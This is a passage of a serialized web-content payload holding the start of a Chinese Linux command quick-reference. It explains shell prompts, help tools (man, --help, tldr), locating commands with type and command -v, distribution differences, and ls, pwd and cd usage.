章循序渐进，每章配可运行示例。",{},"\u002Ftutorials\u002Fjs",{"title":61741,"description":74416},{"loc":74418},"tutorials\u002Fjs","luxOyhcDWoTYPEh0irrjEhyeFzC0WgVn_ZBWtSeZjJc",{"id":74424,"title":74425,"body":74426,"category":96411,"cover":96412,"date":61731,"description":96413,"extension":4549,"meta":96414,"navigation":997,"path":96415,"seo":96416,"sitemap":96417,"stem":96418,"__hash__":96419},"tutorials\u002Ftutorials\u002Flinux.md","Linux 常用命令手册：按场景查的命令清单",{"type":8,"value":74427,"toc":96244},[74428,74432,74438,74456,74460,74570,74588,74592,74598,74603,74617,74630,74635,74664,74674,74679,74705,74709,74714,74739,74744,74759,74764,74783,74798,74802,74805,74895,74900,74916,74921,74958,74970,74974,74977,75124,75154,75157,75191,75195,75205,75209,75213,75218,75223,75240,75243,75275,75457,75462,75476,75481,75526,75531,75566,75574,75578,75583,75606,75615,75619,75624,75667,75679,75683,75688,75727,75732,75747,75751,75756,75787,75793,75797,75802,75833,75841,75845,75848,75853,75871,75876,75896,75901,75921,75930,75934,75939,75970,75975,76008,76012,76024,76029,76071,76076,76098,76103,76164,76168,76171,76263,76268,76304,76321,76325,76391,76394,76514,76527,76530,76587,76591,76601,76605,76619,76624,76639,76644,76670,76675,76693,76706,76711,76744,76748,76753,76786,76791,76811,76815,76820,76840,76845,76878,76887,76892,76915,76929,76933,76942,76947,76961,77119,77124,77176,77180,77185,77203,77208,77212,77217,77266,77271,77312,77322,77325,77367,77371,77386,77390,77403,77408,77437,77442,77470,77481,77648,77652,77655,77737,77743,77747,77750,77851,77855,77895,77899,77914,77948,77952,77965,78015,78032,78035,78092,78096,78105,78109,78113,78187,78230,78243,78368,78372,78377,78409,78414,78472,78482,78487,78530,78555,78559,78564,78624,78629,78672,78675,78708,78712,78728,78820,78825,78856,78876,78880,78993,78998,79067,79072,79084,79124,79127,79136,79168,79172,79275,79279,79282,79357,79378,79382,79552,79575,79578,79633,79637,79676,79680,79684,79703,79708,79758,79763,79829,79834,79966,79973,79977,79982,80019,80024,80127,80132,80157,80165,80277,80298,80303,80353,80357,80362,80411,80445,80449,80454,80552,80566,80570,80702,80705,80767,80771,80806,80810,80814,80822,80827,80945,80950,81009,81015,81129,81134,81211,81215,81223,81228,81293,81318,81323,81392,81397,81450,81481,81485,81509,81514,81578,81583,81613,81618,81701,81756,81760,81922,81926,81936,82038,82048,82083,82086,82162,82166,82186,82190,82194,82206,82327,82350,82354,82359,82385,82390,82413,82433,82437,82586,82614,82618,82754,82762,82766,82866,82893,82897,82985,83005,83008,83083,83087,83127,83131,83316,83320,83538,83542,83633,83649,83653,83758,83770,83774,83893,83904,83907,83974,83978,83995,83999,84003,84008,84107,84113,84292,84297,84418,84422,84492,84509,84513,84518,84637,84642,84687,84692,84832,84864,84868,85060,85103,85118,85123,85198,85202,85272,85276,85331,85346,85368,85371,85439,85443,85453,85457,85461,85708,85726,85730,85735,85840,86082,86103,86107,86291,86327,86344,86348,86397,86400,86430,86525,86528,86583,86614,86618,86717,86730,86733,86785,86789,86799,86803,86897,86901,86913,86966,87059,87063,87198,87225,87234,87238,87308,87312,87323,87332,87475,87482,87491,87621,87644,87663,87666,87731,87735,87750,87754,87758,87783,87911,87942,87946,88048,88089,88095,88226,88246,88250,88415,88427,88431,88691,88694,88716,88762,88766,88960,88969,89049,89064,89090,89146,89173,89177,89261,89290,89304,89326,89335,89338,89428,89432,89440,89444,89448,89493,89530,89534,89692,89718,89722,89805,89809,89825,89945,89960,89964,90002,90128,90132,90267,90273,90288,90413,90453,90457,90563,90584,90588,90594,90679,90704,90708,90754,90772,90818,90832,90835,90883,90887,90890,90894,90898,91084,91088,91172,91176,91189,91457,91461,91593,91597,91752,91771,91775,91849,91983,92014,92018,92118,92122,92128,92248,92266,92269,92332,92336,92344,92348,92439,92456,92487,92491,92586,92589,92673,92677,92771,92814,92818,92962,92995,92999,93139,93142,93328,93332,93368,93496,93519,93526,93643,93684,93687,93895,93899,93968,94138,94157,94160,94231,94235,94238,94242,94246,94258,94278,94383,94418,94422,94442,94519,94564,94568,94726,94752,94756,94842,94866,94883,94887,94980,95001,95005,95141,95165,95169,95299,95349,95353,95703,95707,96225,96228,96241],[48,74429,74431],{"id":74430},"一开始敲命令之前终端与帮助系统","一、开始敲命令之前：终端与帮助系统",[11,74433,74434,74435,74437],{},"在 Linux 中，学会「查命令」比背命令更重要。打开终端准备敲命令之前，有几个「不查不好意思问」的基础问题：眼前这行提示符是什么意思、忘了参数去哪查、为什么同一个 ",[22,74436,50195],{}," 在不同机器上行为不一样。这一章把这几件事说清楚，后面 16 章就能直接跳着查。",[11,74439,74440,74441,74444,74445,272,74447,272,74450,272,74452,74455],{},"本手册的定位是",[17,74442,74443],{},"速查","：每个命令一小节，先给最常见的可直接复制的写法，再解释参数，最后补一句注意事项。遇到破坏性命令（",[22,74446,57585],{},[22,74448,74449],{},"mkfs",[22,74451,27365],{},[22,74453,74454],{},"kill -9","）会单独标出风险。",[53,74457,74459],{"id":74458},"_1-先看提示符你是谁在哪什么身份","1. 先看提示符：你是谁、在哪、什么身份",[57,74461,74462,74474],{},[60,74463,74464],{},[63,74465,74466,74469,74472],{},[66,74467,74468],{},"观察点",[66,74470,74471],{},"长这样",[66,74473,49671],{},[79,74475,74476,74500,74518,74534,74550],{},[63,74477,74478,74481,74486],{},[84,74479,74480],{},"普通用户提示符",[84,74482,74483],{},[22,74484,74485],{},"deploy@server:~$",[84,74487,74488,74489,74491,74492,74494,74495,272,74497,74499],{},"用户 ",[22,74490,54965],{},"、主机 ",[22,74493,8919],{},"、当前目录 ",[22,74496,5404],{},[22,74498,54777],{}," 表示非 root",[63,74501,74502,74505,74510],{},[84,74503,74504],{},"root 提示符",[84,74506,74507],{},[22,74508,74509],{},"root@server:\u002Fsrv\u002Fapp#",[84,74511,74512,74513,74515,74516],{},"结尾是 ",[22,74514,20333],{},"，此刻敲的命令不再需要 ",[22,74517,37063],{},[63,74519,74520,74525,74528],{},[84,74521,20444,74522],{},[22,74523,74524],{},"bash-4.4$",[84,74526,74527],{},"容器里常见",[84,74529,74530,74533],{},[22,74531,74532],{},"$PS1"," 没配置，通常是精简镜像，功能可能缺",[63,74535,74536,74539,74543],{},[84,74537,74538],{},"续行提示符",[84,74540,74541],{},[22,74542,42343],{},[84,74544,74545,74546,74549],{},"引号或括号没闭合，",[22,74547,74548],{},"Ctrl-C"," 放弃当前输入",[63,74551,74552,74555,74560],{},[84,74553,74554],{},"光标处",[84,74556,74557,74559],{},[22,74558,1170],{},"（vi 里）",[84,74561,74562,74563,74565,74566,74569],{},"光标在 ",[22,74564,1170],{}," 那个字符",[17,74567,74568],{},"上","，不在它后面",[11,74571,74572,74573,74491,74575,74577,74578,6745,74581,74584,74585,74587],{},"本手册示例统一假设：用户 ",[22,74574,54965],{},[22,74576,8919],{},"、工作目录 ",[22,74579,74580],{},"\u002Fsrv\u002Fapp",[22,74582,74583],{},"\u002Fhome\u002Fdeploy","、Shell 是 bash。行首的 ",[22,74586,54777],{}," 是提示符的一部分，复制到终端时不要把它带上。",[53,74589,74591],{"id":74590},"_2-man-查看命令手册页","2. man —— 查看命令手册页",[11,74593,74594,74597],{},[22,74595,74596],{},"man"," 是 manual（手册）的缩写，是 Linux 最权威的查命令方式。",[11,74599,74600],{},[17,74601,74602],{},"示例 1：查看 ls 的手册页",[308,74604,74606],{"className":3902,"code":74605,"language":3904,"meta":314,"style":314},"man ls        # 打开 ls 的手册页\n",[22,74607,74608],{"__ignoreMap":314},[331,74609,74610,74612,74614],{"class":333,"line":334},[331,74611,74596],{"class":501},[331,74613,50172],{"class":365},[331,74615,74616],{"class":1003},"        # 打开 ls 的手册页\n",[11,74618,74619,74620,74622,74623,74626,74627,74629],{},"打开后：",[22,74621,10130],{}," 退出、",[22,74624,74625],{},"\u002F关键词"," 搜索、",[22,74628,27399],{}," 跳到下一个匹配、空格翻页。",[11,74631,74632],{},[17,74633,74634],{},"示例 2：指定章节编号",[308,74636,74638],{"className":3902,"code":74637,"language":3904,"meta":314,"style":314},"man 1 printf  # 1=用户命令，5=文件格式，8=管理命令\nman -k printf # 按关键词反查相关命令（等价于 apropos printf）\n",[22,74639,74640,74652],{"__ignoreMap":314},[331,74641,74642,74644,74646,74649],{"class":333,"line":334},[331,74643,74596],{"class":501},[331,74645,30777],{"class":344},[331,74647,74648],{"class":365}," printf",[331,74650,74651],{"class":1003},"  # 1=用户命令，5=文件格式，8=管理命令\n",[331,74653,74654,74656,74659,74661],{"class":333,"line":341},[331,74655,74596],{"class":501},[331,74657,74658],{"class":344}," -k",[331,74660,74648],{"class":365},[331,74662,74663],{"class":1003}," # 按关键词反查相关命令（等价于 apropos printf）\n",[11,74665,74666,74667,74669,74670,74673],{},"同一个名字在不同章节可能有多个手册页（比如 ",[22,74668,48991],{}," 既是命令又是 C 函数），",[22,74671,74672],{},"man -a printf"," 可以一次看完所有同名章节。",[11,74675,74676],{},[17,74677,74678],{},"示例 3：只要一行说明",[308,74680,74682],{"className":3902,"code":74681,"language":3904,"meta":314,"style":314},"whatis grep   # 只输出一行描述：grep pattern lines matched\napropos firewall  # 反过来：按关键词找命令名，能列出 rsync、dump 之类\n",[22,74683,74684,74694],{"__ignoreMap":314},[331,74685,74686,74689,74691],{"class":333,"line":334},[331,74687,74688],{"class":501},"whatis",[331,74690,16363],{"class":365},[331,74692,74693],{"class":1003},"   # 只输出一行描述：grep pattern lines matched\n",[331,74695,74696,74699,74702],{"class":333,"line":341},[331,74697,74698],{"class":501},"apropos",[331,74700,74701],{"class":365}," firewall",[331,74703,74704],{"class":1003},"  # 反过来：按关键词找命令名，能列出 rsync、dump 之类\n",[53,74706,74708],{"id":74707},"_3-help-与-tldr-更快的两种查法","3. --help 与 tldr —— 更快的两种查法",[11,74710,74711],{},[17,74712,74713],{},"示例 1：选项速查",[308,74715,74717],{"className":3902,"code":74716,"language":3904,"meta":314,"style":314},"ls --help        # 一屏列出全部选项，日常最常用，够用了\nls --version     # 看命令版本与所属包，GNU 核心工具会写 ls (GNU coreutils) 9.x\n",[22,74718,74719,74729],{"__ignoreMap":314},[331,74720,74721,74723,74726],{"class":333,"line":334},[331,74722,16007],{"class":501},[331,74724,74725],{"class":344}," --help",[331,74727,74728],{"class":1003},"        # 一屏列出全部选项，日常最常用，够用了\n",[331,74730,74731,74733,74736],{"class":333,"line":341},[331,74732,16007],{"class":501},[331,74734,74735],{"class":344}," --version",[331,74737,74738],{"class":1003},"     # 看命令版本与所属包，GNU 核心工具会写 ls (GNU coreutils) 9.x\n",[11,74740,74741],{},[17,74742,74743],{},"示例 2：只看真实示例",[308,74745,74747],{"className":3902,"code":74746,"language":3904,"meta":314,"style":314},"tldr ls          # 需要装 tldr 包；只给真实用法示例，比 man 快十倍\n",[22,74748,74749],{"__ignoreMap":314},[331,74750,74751,74754,74756],{"class":333,"line":334},[331,74752,74753],{"class":501},"tldr",[331,74755,50172],{"class":365},[331,74757,74758],{"class":1003},"          # 需要装 tldr 包；只给真实用法示例，比 man 快十倍\n",[11,74760,74761],{},[17,74762,74763],{},"示例 3：超长的 GNU 手册",[308,74765,74767],{"className":3902,"code":74766,"language":3904,"meta":314,"style":314},"info coreutils 'ls invocation'   # 层级导航：u 上级、n\u002Fp 前后节点\n",[22,74768,74769],{"__ignoreMap":314},[331,74770,74771,74774,74777,74780],{"class":333,"line":334},[331,74772,74773],{"class":501},"info",[331,74775,74776],{"class":365}," coreutils",[331,74778,74779],{"class":365}," 'ls invocation'",[331,74781,74782],{"class":1003},"   # 层级导航：u 上级、n\u002Fp 前后节点\n",[11,74784,74785,74786,74789,74790,17306,74792,74794,74795,74797],{},"实用结论：查「某个参数是否存在、拼写对不对」用 ",[22,74787,74788],{},"--help"," 就够了；要看退出码、示例、相关文件用 ",[22,74791,74596],{},[22,74793,74788],{}," 只讲参数，不讲「我该用哪个命令」，后者靠 ",[22,74796,74698],{}," 和搜索引擎。",[53,74799,74801],{"id":74800},"_4-typewhichcommand-这条命令到底从哪来","4. type、which、command —— 这条命令到底从哪来",[11,74803,74804],{},"Linux 的「命令」其实分三种类型，搞清类型能解释一大半「找不到命令」和「行为不对」：",[57,74806,74807,74822],{},[60,74808,74809],{},[63,74810,74811,74813,74815,74820],{},[66,74812,8896],{},[66,74814,5441],{},[66,74816,74817,74819],{},[22,74818,3628],{}," 的输出",[66,74821,22374],{},[79,74823,74824,74849,74873],{},[63,74825,74826,74829,74841,74846],{},[84,74827,74828],{},"Shell 内建命令",[84,74830,74831,268,74833,268,74835,268,74837,268,74839],{},[22,74832,3936],{},[22,74834,49056],{},[22,74836,5219],{},[22,74838,55942],{},[22,74840,15508],{},[84,74842,74843],{},[22,74844,74845],{},"cd is a shell builtin",[84,74847,74848],{},"由 Shell 进程自己实现，改不了当前目录这类事的只能做成内建",[63,74850,74851,74854,74863,74868],{},[84,74852,74853],{},"外部命令（可执行文件）",[84,74855,74856,268,74858,268,74860],{},[22,74857,16007],{},[22,74859,17339],{},[22,74861,74862],{},"systemctl",[84,74864,74865],{},[22,74866,74867],{},"grep is \u002Fusr\u002Fbin\u002Fgrep",[84,74869,1847,74870,74872],{},[22,74871,47784],{}," 里找文件，fork 子进程执行",[63,74874,74875,74878,74887,74892],{},[84,74876,74877],{},"函数 \u002F 别名",[84,74879,74880,74881,272,74884],{},"自定义 ",[22,74882,74883],{},"ll()",[22,74885,74886],{},"alias rm='rm -i'",[84,74888,74889],{},[22,74890,74891],{},"ll is a function",[84,74893,74894],{},"只在当前 Shell 生效，脚本里看不到",[11,74896,74897],{},[17,74898,74899],{},"示例 1：排查「为什么我的 ls 带颜色」",[308,74901,74903],{"className":3902,"code":74902,"language":3904,"meta":314,"style":314},"type -a ls    # 把别名\u002F函数\u002F内建\u002F文件全部来源列出来\n",[22,74904,74905],{"__ignoreMap":314},[331,74906,74907,74909,74911,74913],{"class":333,"line":334},[331,74908,3628],{"class":344},[331,74910,57537],{"class":344},[331,74912,50172],{"class":365},[331,74914,74915],{"class":1003},"    # 把别名\u002F函数\u002F内建\u002F文件全部来源列出来\n",[11,74917,74918],{},[17,74919,74920],{},"示例 2：脚本里的标准写法",[308,74922,74924],{"className":3902,"code":74923,"language":3904,"meta":314,"style":314},"command -v python3   # 只返回可执行路径；if ! command -v python3 >\u002Fdev\u002Fnull; then …; fi\nwhich curl           # 只在 PATH 找文件（外部命令），看不到内建与别名，脚本别用它\nwhereis nginx        # 顺带给出二进制、源码、man 页位置，装完不知道手册在哪时用\n",[22,74925,74926,74938,74948],{"__ignoreMap":314},[331,74927,74928,74930,74932,74935],{"class":333,"line":334},[331,74929,53695],{"class":344},[331,74931,51745],{"class":344},[331,74933,74934],{"class":365}," python3",[331,74936,74937],{"class":1003},"   # 只返回可执行路径；if ! command -v python3 >\u002Fdev\u002Fnull; then …; fi\n",[331,74939,74940,74943,74945],{"class":333,"line":341},[331,74941,74942],{"class":344},"which",[331,74944,51108],{"class":365},[331,74946,74947],{"class":1003},"           # 只在 PATH 找文件（外部命令），看不到内建与别名，脚本别用它\n",[331,74949,74950,74953,74955],{"class":333,"line":357},[331,74951,74952],{"class":501},"whereis",[331,74954,58949],{"class":365},[331,74956,74957],{"class":1003},"        # 顺带给出二进制、源码、man 页位置，装完不知道手册在哪时用\n",[11,74959,74960,74962,74963,74966,74967,161],{},[22,74961,16007],{}," 这类命令既是外部命令又常被别名覆盖，交互式排查首选 ",[22,74964,74965],{},"type -a","，写脚本判断用 ",[22,74968,74969],{},"command -v",[53,74971,74973],{"id":74972},"_5-发行版差异会体现在哪","5. 发行版差异会体现在哪",[11,74975,74976],{},"同一句命令在不同发行版上可能失效，差异集中在四个地方：",[57,74978,74979,74995],{},[60,74980,74981],{},[63,74982,74983,74986,74989,74992],{},[66,74984,74985],{},"方面",[66,74987,74988],{},"Debian\u002FUbuntu",[66,74990,74991],{},"RHEL\u002FRocky\u002FFedora",[66,74993,74994],{},"Alpine",[79,74996,74997,75024,75047,75064,75084,75109],{},[63,74998,74999,75002,75009,75020],{},[84,75000,75001],{},"包管理",[84,75003,75004,272,75006],{},[22,75005,47280],{},[22,75007,75008],{},"dpkg",[84,75010,75011,655,75014,272,75017],{},[22,75012,75013],{},"dnf",[22,75015,75016],{},"yum",[22,75018,75019],{},"rpm",[84,75021,75022],{},[22,75023,47283],{},[63,75025,75026,75029,75032,75034],{},[84,75027,75028],{},"C 库与命令风格",[84,75030,75031],{},"GNU coreutils",[84,75033,75031],{},[84,75035,75036,4839,75039,272,75041,272,75043,75046],{},[17,75037,75038],{},"BusyBox",[22,75040,16007],{},[22,75042,16382],{},[22,75044,75045],{},"sed"," 参数是精简版）",[63,75048,75049,75053,75056,75058],{},[84,75050,75051],{},[22,75052,37063],{},[84,75054,75055],{},"默认可用",[84,75057,75055],{},[84,75059,75060,75061],{},"默认没有，需 ",[22,75062,75063],{},"apk add sudo",[63,75065,75066,75069,75074,75078],{},[84,75067,75068],{},"服务管理",[84,75070,75071,75073],{},[22,75072,74862],{},"（容器内常缺）",[84,75075,75076],{},[22,75077,74862],{},[84,75079,75080,75081],{},"多用 OpenRC 或 ",[22,75082,75083],{},"supervisord",[63,75085,75086,75089,75095,75100],{},[84,75087,75088],{},"防火墙后端",[84,75090,75091,75094],{},[22,75092,75093],{},"ufw"," 常见",[84,75096,75097,75094],{},[22,75098,75099],{},"firewalld",[84,75101,75102,655,75105,75108],{},[22,75103,75104],{},"iptables",[22,75106,75107],{},"nftables"," 裸用",[63,75110,75111,75114,75116,75118],{},[84,75112,75113],{},"Shell 默认",[84,75115,3904],{},[84,75117,3904],{},[84,75119,75120,75121,75123],{},"ash（",[22,75122,50195],{}," 指向 BusyBox ash）",[11,75125,75126,75129,75130,75133,75134,75137,75138,75141,75142,75145,75146,75149,75150,75153],{},[22,75127,75128],{},"head -n"," 这类基础参数四处一致；差异大的是 ",[22,75131,75132],{},"sed -i","（BusyBox 要求 ",[22,75135,75136],{},"-i ''"," 或干脆不支持同时给后缀）、",[22,75139,75140],{},"date -d","（BusyBox 只支持少数格式）、",[22,75143,75144],{},"find -printf","（BusyBox 无）。写跨发行版的脚本时，第一行用 ",[22,75147,75148],{},"#!\u002Fbin\u002Fsh"," 就别用 bash 语法，用 ",[22,75151,75152],{},"#!\u002Fbin\u002Fbash"," 就要确认机器上有 bash。",[53,75155,75156],{"id":75156},"踩坑提醒",[1773,75158,75159,75175,75184],{},[1662,75160,75161,75163,75164,75166,75167,75170,75171,5160,75173,161],{},[22,75162,74596],{}," 页在容器里经常是空的（没装 ",[22,75165,74596],{}," 和手册包）：",[22,75168,75169],{},"apt install man-db manpages","，或临时靠 ",[22,75172,74788],{},[22,75174,74753],{},[1662,75176,75177,75178,272,75180,75183],{},"帮助文本分「BSD 版」与「GNU 版」两套，macOS 的 ",[22,75179,75132],{},[22,75181,75182],{},"date -j"," 与 Linux 不通用，别把网上抄的 macOS 写法放到服务器上。",[1662,75185,75186,75188,75189,74797],{},[22,75187,74788],{}," 只讲参数，不讲「我该用哪个命令」。后者靠 ",[22,75190,74698],{},[48,75192,75194],{"id":75193},"二文件与目录lscdcpmvrmln","二、文件与目录：ls、cd、cp、mv、rm、ln",[11,75196,75197,75198,75201,75202,75204],{},"日常一半的终端时间花在「这个目录里有什么」「把这个文件挪到那里」。这一章的命令都写成可以直接复制粘贴的形式，重点在于看清 ",[22,75199,75200],{},"ls -l"," 的每个字段、理解复制与移动的差别，以及明白 ",[22,75203,57585],{}," 为什么不能随手敲。",[4748,75206],{"height":32474,"src":75207,"title":75208},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F02-files.html","示例 02：ls 各字段怎么读、目录的进出与搬动",[53,75210,75212],{"id":75211},"_1-ls-列出目录内容","1. ls —— 列出目录内容",[11,75214,75215,75217],{},[22,75216,16007],{}," 是 Linux 中使用频率最高的命令之一，用于列出目录中的文件。",[11,75219,75220],{},[17,75221,75222],{},"示例 1：列出详细信息（最常用）",[308,75224,75226],{"className":3902,"code":75225,"language":3904,"meta":314,"style":314},"ls -lh \u002Fsrv\u002Fapp    # -l 长格式列出，-h 文件大小以 K\u002FM\u002FG 人读格式显示\n",[22,75227,75228],{"__ignoreMap":314},[331,75229,75230,75232,75234,75237],{"class":333,"line":334},[331,75231,16007],{"class":501},[331,75233,43855],{"class":344},[331,75235,75236],{"class":365}," \u002Fsrv\u002Fapp",[331,75238,75239],{"class":1003},"    # -l 长格式列出，-h 文件大小以 K\u002FM\u002FG 人读格式显示\n",[11,75241,75242],{},"输出长这样，十个字符的权限串是本章唯一需要「背」的东西：",[308,75244,75248],{"className":75245,"code":75246,"language":75247,"meta":314,"style":314},"language-console shiki shiki-themes github-dark","$ ls -l \u002Fsrv\u002Fapp\n-rw-r--r-- 1 deploy deploy  1.2K Oct  4 09:12 app.py\ndrwxr-xr-x 3 deploy deploy  4.0K Oct  4 09:20 static\nlrwxrwxrwx 1 deploy deploy    11 Oct  4 09:21 current -> releases\u002Fv7\n-rwsr-xr-x 1 root   root   144.0K Mar 14  2024 helper\n","console",[22,75249,75250,75255,75260,75265,75270],{"__ignoreMap":314},[331,75251,75252],{"class":333,"line":334},[331,75253,75254],{},"$ ls -l \u002Fsrv\u002Fapp\n",[331,75256,75257],{"class":333,"line":341},[331,75258,75259],{},"-rw-r--r-- 1 deploy deploy  1.2K Oct  4 09:12 app.py\n",[331,75261,75262],{"class":333,"line":357},[331,75263,75264],{},"drwxr-xr-x 3 deploy deploy  4.0K Oct  4 09:20 static\n",[331,75266,75267],{"class":333,"line":371},[331,75268,75269],{},"lrwxrwxrwx 1 deploy deploy    11 Oct  4 09:21 current -> releases\u002Fv7\n",[331,75271,75272],{"class":333,"line":384},[331,75273,75274],{},"-rwsr-xr-x 1 root   root   144.0K Mar 14  2024 helper\n",[57,75276,75277,75288],{},[60,75278,75279],{},[63,75280,75281,75284,75286],{},[66,75282,75283],{},"位置",[66,75285,9994],{},[66,75287,49671],{},[79,75289,75290,75317,75333,75346,75358,75376,75397,75417,75436],{},[63,75291,75292,75295,75314],{},[84,75293,75294],{},"第 1 字符",[84,75296,75297,268,75299,268,75302,268,75305,268,75308,268,75310,268,75312],{},[22,75298,6659],{},[22,75300,75301],{},"d",[22,75303,75304],{},"l",[22,75306,75307],{},"c",[22,75309,22158],{},[22,75311,21542],{},[22,75313,11],{},[84,75315,75316],{},"类型：普通文件 \u002F 目录 \u002F 链接 \u002F 字符设备 \u002F 块设备 \u002F socket \u002F 管道",[63,75318,75319,75322,75327],{},[84,75320,75321],{},"第 2-4",[84,75323,75324],{},[22,75325,75326],{},"rwx",[84,75328,75329,75330,75332],{},"属主（第三列的 ",[22,75331,54965],{},"）的权限",[63,75334,75335,75338,75343],{},[84,75336,75337],{},"第 5-7",[84,75339,75340],{},[22,75341,75342],{},"r--",[84,75344,75345],{},"属组（第四列）的权限",[63,75347,75348,75351,75355],{},[84,75349,75350],{},"第 8-10",[84,75352,75353],{},[22,75354,75342],{},[84,75356,75357],{},"其他人的权限",[63,75359,75360,75363,75370],{},[84,75361,75362],{},"第 2\u002F5\u002F8 位",[84,75364,75365,6745,75367],{},[22,75366,21542],{},[22,75368,75369],{},"S",[84,75371,75372,75373,75375],{},"setuid（属主位）\u002F setgid（属组位）；大写 ",[22,75374,75369],{}," 表示「有标记但没有对应 x」",[63,75377,75378,75381,75388],{},[84,75379,75380],{},"最后一位",[84,75382,75383,6745,75385],{},[22,75384,33113],{},[22,75386,75387],{},"T",[84,75389,75390,75391,4839,75394,5149],{},"sticky bit，常见于 ",[22,75392,75393],{},"\u002Ftmp",[22,75395,75396],{},"drwxrwxrwt",[63,75398,75399,75402,75408],{},[84,75400,75401],{},"第 2 列",[84,75403,75404,1901,75406],{},[22,75405,7993],{},[22,75407,351],{},[84,75409,75410,75411,2012,75413,75416],{},"硬链接数；目录至少 2（",[22,75412,1192],{},[22,75414,75415],{},"..","），所以看到 1 说明不是目录",[63,75418,75419,75422,75430],{},[84,75420,75421],{},"第 6 列",[84,75423,75424,1901,75427],{},[22,75425,75426],{},"1.2K",[22,75428,75429],{},"4.0K",[84,75431,75432,75433],{},"文件字节数；目录显示的是它自己的 inode 表大小，",[17,75434,75435],{},"不含内容",[63,75437,75438,75441,75446],{},[84,75439,75440],{},"第 7 列",[84,75442,75443],{},[22,75444,75445],{},"Oct 4 09:12",[84,75447,75448,75449,75452,75453,75456],{},"mtime（内容最后改动时间）；",[22,75450,75451],{},"ls -lu"," 看 atime，",[22,75454,75455],{},"ls -lc"," 看 ctime（元数据变更）",[11,75458,75459],{},[17,75460,75461],{},"示例 2：显示隐藏文件",[308,75463,75465],{"className":3902,"code":75464,"language":3904,"meta":314,"style":314},"ls -la    # -a 包含以 . 开头的隐藏文件；不加时不显示\n",[22,75466,75467],{"__ignoreMap":314},[331,75468,75469,75471,75473],{"class":333,"line":334},[331,75470,16007],{"class":501},[331,75472,16010],{"class":344},[331,75474,75475],{"class":1003},"    # -a 包含以 . 开头的隐藏文件；不加时不显示\n",[11,75477,75478],{},[17,75479,75480],{},"示例 3：按不同方式排序",[308,75482,75484],{"className":3902,"code":75483,"language":3904,"meta":314,"style":314},"ls -lt           # -t 按修改时间，最新在前\nls -lS           # -S 按大小\nls -lr           # -r 反向排序\nls -lX           # -X 按扩展名\n",[22,75485,75486,75496,75506,75516],{"__ignoreMap":314},[331,75487,75488,75490,75493],{"class":333,"line":334},[331,75489,16007],{"class":501},[331,75491,75492],{"class":344}," -lt",[331,75494,75495],{"class":1003},"           # -t 按修改时间，最新在前\n",[331,75497,75498,75500,75503],{"class":333,"line":341},[331,75499,16007],{"class":501},[331,75501,75502],{"class":344}," -lS",[331,75504,75505],{"class":1003},"           # -S 按大小\n",[331,75507,75508,75510,75513],{"class":333,"line":357},[331,75509,16007],{"class":501},[331,75511,75512],{"class":344}," -lr",[331,75514,75515],{"class":1003},"           # -r 反向排序\n",[331,75517,75518,75520,75523],{"class":333,"line":371},[331,75519,16007],{"class":501},[331,75521,75522],{"class":344}," -lX",[331,75524,75525],{"class":1003},"           # -X 按扩展名\n",[11,75527,75528],{},[17,75529,75530],{},"示例 4：方便脚本与管道",[308,75532,75534],{"className":3902,"code":75533,"language":3904,"meta":314,"style":314},"ls -1                              # -1 单列输出，方便接管道\nls -Q                              # -Q 每个名字加引号，含空格的文件名安全\nls --time-style=long-iso           # 日期变成 2026-10-04 09:12，脚本里更好解析\n",[22,75535,75536,75546,75556],{"__ignoreMap":314},[331,75537,75538,75540,75543],{"class":333,"line":334},[331,75539,16007],{"class":501},[331,75541,75542],{"class":344}," -1",[331,75544,75545],{"class":1003},"                              # -1 单列输出，方便接管道\n",[331,75547,75548,75550,75553],{"class":333,"line":341},[331,75549,16007],{"class":501},[331,75551,75552],{"class":344}," -Q",[331,75554,75555],{"class":1003},"                              # -Q 每个名字加引号，含空格的文件名安全\n",[331,75557,75558,75560,75563],{"class":333,"line":357},[331,75559,16007],{"class":501},[331,75561,75562],{"class":344}," --time-style=long-iso",[331,75564,75565],{"class":1003},"           # 日期变成 2026-10-04 09:12，脚本里更好解析\n",[11,75567,72534,75568,75570,75571,161],{},[22,75569,16007],{}," 无参数时隐藏文件不显示；目录显示的大小不含内容，看总占用要用 ",[22,75572,75573],{},"du -sh",[53,75575,75577],{"id":75576},"_2-pwd-打印当前目录","2. pwd —— 打印当前目录",[11,75579,75580],{},[17,75581,75582],{},"示例 1：我在哪",[308,75584,75586],{"className":3902,"code":75585,"language":3904,"meta":314,"style":314},"pwd         # 打印当前工作目录的绝对路径\npwd -P      # -P 解析掉所有符号链接，给出真实路径\n",[22,75587,75588,75596],{"__ignoreMap":314},[331,75589,75590,75593],{"class":333,"line":334},[331,75591,75592],{"class":344},"pwd",[331,75594,75595],{"class":1003},"         # 打印当前工作目录的绝对路径\n",[331,75597,75598,75600,75603],{"class":333,"line":341},[331,75599,75592],{"class":344},[331,75601,75602],{"class":344}," -P",[331,75604,75605],{"class":1003},"      # -P 解析掉所有符号链接，给出真实路径\n",[11,75607,75608,75609,18878,75611,75614],{},"Shell 有个同名内建的 ",[22,75610,75592],{},[22,75612,75613],{},"pwd -P"," 走的是外部命令版本。",[53,75616,75618],{"id":75617},"_3-cd-切换目录","3. cd —— 切换目录",[11,75620,75621],{},[17,75622,75623],{},"示例 1：几种常用跳法",[308,75625,75627],{"className":3902,"code":75626,"language":3904,"meta":314,"style":314},"cd \u002Fsrv\u002Fapp    # 绝对路径\ncd ~           # 回用户主目录（cd 不带参数效果相同）\ncd ..          # 上一层\ncd -           # 回到上一个待过的目录\n",[22,75628,75629,75638,75648,75658],{"__ignoreMap":314},[331,75630,75631,75633,75635],{"class":333,"line":334},[331,75632,3936],{"class":344},[331,75634,75236],{"class":365},[331,75636,75637],{"class":1003},"    # 绝对路径\n",[331,75639,75640,75642,75645],{"class":333,"line":341},[331,75641,3936],{"class":344},[331,75643,75644],{"class":365}," ~",[331,75646,75647],{"class":1003},"           # 回用户主目录（cd 不带参数效果相同）\n",[331,75649,75650,75652,75655],{"class":333,"line":357},[331,75651,3936],{"class":344},[331,75653,75654],{"class":365}," ..",[331,75656,75657],{"class":1003},"          # 上一层\n",[331,75659,75660,75662,75664],{"class":333,"line":371},[331,75661,3936],{"class":344},[331,75663,63216],{"class":365},[331,75665,75666],{"class":1003},"           # 回到上一个待过的目录\n",[11,75668,72534,75669,75671,75672,75675,75676,75678],{},[22,75670,3936],{}," 是内建命令，只对当前 Shell 生效——在子 shell（比如脚本、",[22,75673,75674],{},"( … )","）里 ",[22,75677,3936],{}," 改不了父目录。",[53,75680,75682],{"id":75681},"_4-mkdir-与-rmdir-建目录删空目录","4. mkdir 与 rmdir —— 